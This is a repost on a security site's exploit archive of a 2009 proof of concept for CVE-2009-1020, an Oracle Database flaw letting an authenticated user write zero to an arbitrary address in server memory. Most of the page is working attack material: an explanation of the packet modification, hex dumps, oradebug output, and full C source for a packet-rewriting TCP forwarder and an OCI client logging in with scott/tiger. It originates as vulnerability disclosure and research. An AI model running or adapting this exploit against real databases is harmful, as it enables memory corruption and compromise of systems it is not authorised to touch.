首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
The Network Foundation component in Oracle Database versions 9.2.0.8, 9.2.0.8DV,
来源:dennis@conus.info 作者:Dennis 发布时间:2009-07-27  

/*

CVE-2009-1020 PoC (CPUjul2009)
Fri, 07/24/2009 - 21:07 鈥?dennis

- Vulnerability CVE-2009-1020 receives a CVSS Base Score of 9.0 for Windows, and 6.5 for Unix, Linux, and other platforms. This means that a successful exploitation of the vulnerability can lead to a full compromise of the targeted server at the OS level only on Windows platforms. On other platforms, the scope of the exploitation will be limited to the database layer (i.e. only the database application will be compromised). This vulnerability affects Oracle Database Server 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4, and 11.1.0.7. 鈥擳his vulnerability is not remotely exploitable without authentication: The attacker needs to be authenticated to the Database (or use a previously authenticated session) in order to carry on the attack.

Here is explanation of vulnerability I did found.

Essentially, it allow attacker to write 0 (32-bit DWORD) at any arbitrary address of Oracle instance process memory.

This PoC tested with 11g Linux only.

It require 11g linux client and 11g linux server, because only in these circumstances we can be sure we modify right byte.
In other circumstances, like another RDBMS versions and OS-es, packet which need be modified will be different slightly.

This PoC consist of two parts: very simple TCP forwarder running in Win32 (of course it can be ported to Linux) and simple program executing SQL statement "select * from v$version", it must be running in Linux x32 box.

TCP forwarder only forwards packets from one address to other, nothing more.
In our case, it is just adapter between RDBMS and "legal" application asking for version.
When TCP forwarder detect TTIPFN packet sent from client to server, it modify it:

       if (buf[0xA]==0x11) // TTIPFN, that's our packet
  {
    printf ("TTIPFN from client, we modify it.\n");

    buf[26]=0x9F;
   
    buf[84]=pos&0xFF;
    buf[85]=(pos >> 8)&0xFF;
    buf[86]=(pos >> 16)&0xFF;
    buf[87]=(pos >> 24)&0xFF;
  };

The packet we need to modify should looks like:

0000   00 f9 00 00 06 00 00 00 00 00 11 6b 04 82 00 00  ...........k....
0010   00 2a 00 00 00 01 00 00 00 03 9f 05 71 80 00 00  .*..........q...
0020   00 00 00 00 fe ff ff ff 17 00 00 00 fe ff ff ff  ................
0030   0d 00 00 00 fe ff ff ff fe ff ff ff 00 00 00 00  ................
0040   01 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00  .....(..........
0050   00 00 00 00 34 12 cd ab 00 00 00 00 fe ff ff ff  ....4...........

34 12 cd ab here is the DWORD we modify

0060   fe ff ff ff fe ff ff ff 01 00 00 00 00 00 00 00  ................
0070   fe ff ff ff fe ff ff ff 00 00 00 00 00 00 00 00  ................
0080   00 00 00 00 00 00 00 00 00 00 00 00 17 73 65 6c  .............sel
0090   65 63 74 20 2a 20 66 72 6f 6d 20 76 24 76 65 72  ect * from v$ver
00a0   73 69 6f 6e 01 00 00 00 01 00 00 00 00 00 00 00  sion............
00b0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00c0   01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00d0   00 00 00 00 00 00 00 00 01 01 00 00 00 ff 27 00  ..............'.
00e0   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00f0   00 b2 00 01 00 00 00 00 00                       .........

pos is the address which we like to write 0 at.

Let's look for some random SGA variable in memory:

SQL> oradebug setmypid
Statement processed.

SQL> oradebug dumpsga
Statement processed.

SQL> oradebug dumpvar sga kywmpleq1_e_
sword kywmpleq1_e_ [20001070, 20001074) = 0000014B

Now run TCP forwarder on win32 box:

tcp_fwd 192.168.0.100 1521 192.168.0.115 1521 0x20001070

192.168.0.100 is the address of Win32 box and .115 is the address of 11g server Linux x86.

The last value is the address.

Copy "version" binary to linux box, or copy its source and compile.
This utility login into database as SCOTT, so this account need to be unlocked.

Now run it:

export LD_LIBRARY_PATH=$ORACLE_HOME/lib
./version 192.168.0.100/orcl

Run "version" executable.

Now let's check SGA variable again:

SQL> oradebug dumpvar sga kywmpleq1_e_
sword kywmpleq1_e_ [20001070, 20001074) = 00000000

Actually, function ttcpip() writes zero to arbitrary memory location.
Probably, the problem lies in TTC datatypes handling.

*/

-------------------------version.c------------------------


// export LD_LIBRARY_PATH=$ORACLE_HOME/lib
// ./version 192.168.0.100/orcl

#include <stdio.h>
#include <assert.h>
#include <string.h>

#include "oci.h"

static void checkerr(OCIError *errhp, sword status)
{
  unsigned char errbuf[512];
  ub4 buflen;
  sb4 errcode;
  switch (status)
    { case OCI_SUCCESS:
 break;
    case OCI_SUCCESS_WITH_INFO:
      printf("ErrorOCI_SUCCESS_WITH_INFO\n");
      break;
    case OCI_NEED_DATA:
      printf("ErrorOCI_NEED_DATA\n");
      break;
    case OCI_NO_DATA:
      printf("ErrorOCI_NO_DATA\n");
      break;
    case OCI_ERROR:
      OCIErrorGet (errhp, 1, NULL, &errcode,
     //            errbuf, 512, (ub4) OCI_HTYPE_ENV);
     errbuf,
     512, OCI_HTYPE_ERROR);
      printf("Error: %s\n", errbuf);
      break;
    case OCI_INVALID_HANDLE:
      printf("ErrorOCI_INVALID_HANDLE\n");
      break;
    case OCI_STILL_EXECUTING:
      printf("ErrorOCI_STILL_EXECUTE\n");
      break;
    case OCI_CONTINUE:
      printf("ErrorOCI_CONTINUE\n");
      break;
    default:
      break;
    }
}

int main(int argc, char * argv[])
{

  OCIEnv *myenvhp;       /* the environment handle */
  OCIServer *mysrvhp;    /* the server handle */
  OCIError *myerrhp;     /* the error handle */
  OCISession *myusrhp;   /* user session handle */
  OCISvcCtx *mysvchp;    /* the  service handle */
  OCIStmt *stmt;
  OCIDefine *dfn;
  char buf[10240];

  sword status;

  assert (argv[1]!=NULL);

  assert (OCIEnvCreate (&myenvhp, OCI_THREADED|OCI_OBJECT, 0, 0, 0, 0, 0, 0)==0);

  assert (OCIHandleAlloc (myenvhp, (dvoid**)&mysrvhp, OCI_HTYPE_SERVER, 0, 0)==0);

  assert (OCIHandleAlloc (myenvhp, (dvoid**)&myerrhp, OCI_HTYPE_ERROR, 0, 0)==0);

  status=OCIServerAttach (mysrvhp, myerrhp, (const OraText *)argv[1], strlen (argv[1]), OCI_DEFAULT);

  if (status!=0)
    {
      checkerr (myerrhp, status);
      return 0;
    };

  assert (OCIHandleAlloc (myenvhp, (dvoid**)&mysvchp, OCI_HTYPE_SVCCTX, 0, 0)==0);

  assert (OCIAttrSet (mysvchp, OCI_HTYPE_SVCCTX, mysrvhp, 0, OCI_ATTR_SERVER, myerrhp)==0);

  assert (OCIHandleAlloc (myenvhp, (dvoid**)&myusrhp, OCI_HTYPE_SESSION, 0, 0)==0);

  assert (OCIHandleAlloc (myenvhp, (dvoid**)&stmt, OCI_HTYPE_STMT, 0, 0)==0);

#define USERNAME "scott"
#define PASSWORD "tiger"

  assert (OCIAttrSet (myusrhp, OCI_HTYPE_SESSION, (void*)USERNAME, strlen(USERNAME), OCI_ATTR_USERNAME, myerrhp)==0);

  assert (OCIAttrSet (myusrhp, OCI_HTYPE_SESSION, (void*)PASSWORD, strlen(PASSWORD), OCI_ATTR_PASSWORD, myerrhp)==0);

  status=OCISessionBegin (mysvchp, myerrhp, myusrhp, OCI_CRED_RDBMS, OCI_DEFAULT);

  if (status!=0)
    {
      checkerr (myerrhp, status);
      return 0;
    };

  assert (OCIAttrSet (mysvchp, OCI_HTYPE_SVCCTX, myusrhp, 0, OCI_ATTR_SESSION, myerrhp)==0);

#define STMT "select * from v$version"

  assert (OCIStmtPrepare (stmt, myerrhp, (const OraText *)STMT, strlen (STMT), OCI_NTV_SYNTAX, OCI_DEFAULT)==0);

  assert (OCIDefineByPos (stmt, &dfn, myerrhp, 1, buf, 10240, SQLT_STR, 0, 0, 0, OCI_DEFAULT)==0);

  status = OCIStmtExecute (mysvchp, stmt, myerrhp, 1,  0, NULL, NULL, OCI_DEFAULT);

  if (status!=0)
    {
      checkerr (myerrhp, status);
      return 0;
    };

//  while (status != OCI_NO_DATA)
    {
      printf ("|%s\n", buf);

      status=OCIStmtFetch(stmt, myerrhp, 1, 0, 0);
    }

  return 0;
};

------------------------------------------tcp_fwd.c-----------------------------------

// PoC for CVE-2009-1020
// discovered by Dennis Yurichev <dennis@conus.info>

// for more information: http://blogs.conus.info/node/23

// run: tcp_fwd 192.168.0.100 1521 192.168.0.115 1521 0xABCD1234

#include <winsock2.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <assert.h>

void main(int argc, char * argv[])
{
  WSADATA wsaData;
  int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
  SOCKET ListenSocket;
  SOCKET AcceptSocket;

  int port_in, port_out;

  DWORD pos;
 
  printf ("simple TCP forwarder.\nusage: .exe <IP to bind on> <TCP port port to listen> <IP to connect on> <TCP port to connect on> <'zero' position>\n");

  assert (argv[1]!=NULL);
  assert (argv[2]!=NULL);
  assert (argv[3]!=NULL);
  assert (argv[4]!=NULL);
  assert (argv[5]!=NULL);

  assert (sscanf (argv[2], "%d", &port_in)==1);
  assert (sscanf (argv[4], "%d", &port_out)==1);

  assert (sscanf (argv[5], "%X", &pos)==1);

  assert (iResult == NO_ERROR);

  ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

  assert (ListenSocket != INVALID_SOCKET);

  sockaddr_in service;
  service.sin_family = AF_INET;
  service.sin_addr.s_addr = inet_addr(argv[1]);
  service.sin_port = htons(port_in);

  assert (bind (ListenSocket, (SOCKADDR*) &service, sizeof(service)) != SOCKET_ERROR);

  assert (listen( ListenSocket, SOMAXCONN ) != SOCKET_ERROR);

  printf ("we are listening. press Ctrl-C to exit.\n");

  for (;;)
    {
      int sent;
      char *buf;
      struct hostent *hp=gethostbyname (argv[3]);
      struct sockaddr_in sin;
      SOCKET serv;
      int cycle;

      assert (hp!=NULL);

      buf=(char*)malloc(60000);

      AcceptSocket = accept(ListenSocket, NULL, NULL);

      assert (AcceptSocket!=SOCKET_ERROR);

      printf ("client appeared\n");

      serv=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
      assert (serv!=INVALID_SOCKET);

      sin.sin_family=AF_INET;
      sin.sin_port=htons(port_out);
      memcpy(&sin.sin_addr, hp->h_addr, hp->h_length);

      connect(serv, (struct sockaddr *)&sin, sizeof(sin));
      printf ("connected to serv\n");

      cycle=0;

      for (;;)
 {
   int r;
   struct timeval t;
   fd_set fd_serv;
   fd_set fd_client;
  
   t.tv_sec=0;
   t.tv_usec=100000; // 10ms
  
   FD_ZERO(&fd_serv);
   FD_SET(serv, &fd_serv);

   FD_ZERO(&fd_client);
   FD_SET(AcceptSocket, &fd_client);

   cycle++;

   if (select (0, &fd_client, 0, 0, &t))
     {
       r=recv (AcceptSocket, buf, 60000, 0);

       if (r==-1 || r==0)
  {
    printf ("r==-1 while reading from client\n");
    break;
  };

       if (buf[0xA]==0x11) // TTIPFN, that's our packet
  {
    printf ("TTIPFN from client, we modify it.\n");

    buf[26]=0x9F;
   
    buf[84]=pos&0xFF;
    buf[85]=(pos >> 8)&0xFF;
    buf[86]=(pos >> 16)&0xFF;
    buf[87]=(pos >> 24)&0xFF;
  };

       send (serv, buf, r, 0);

       printf ("%d bytes from client to serv\n", r);
       cycle=0;
     };

   if (select (0, &fd_serv, 0, 0, &t))
     {
       r=recv (serv, buf, 60000, 0);
       if (r==-1 || r==0)
  {
    printf ("r==%08X whlie reading from serv\n", r);
    break;
  };
       send (AcceptSocket, buf, r, 0);
       printf ("%d bytes from serv to client\n", r);
       cycle=0;
     };

   if (cycle>100)
     {
       printf ("timeout!\n");
       break;
     };
 };

      printf ("closing both sockets\n");
      closesocket (AcceptSocket);
      closesocket (serv);
    };
};


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Oracle version 11.1.0.6.0 win3
·Mysql5crack Tool
·Pixaria Gallery 2.3.5 (file) R
·MS Internet Explorer 7/8 findT
·URA 3.0 (cat) remote SQL injec
·Scripteen Free Image Hosting S
·stftp <= 1.10 (PWD Response) R
·Wordpress 2.8.1 (url) Remote C
·ISC DHCP dhclient < 3.1.2p1 Re
·Mozilla Firefox 3.5 (Font tags
·Cisco WLC 4402 Basic Auth Remo
·PHP Live! 3.2.1/2 (x) Remote B
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved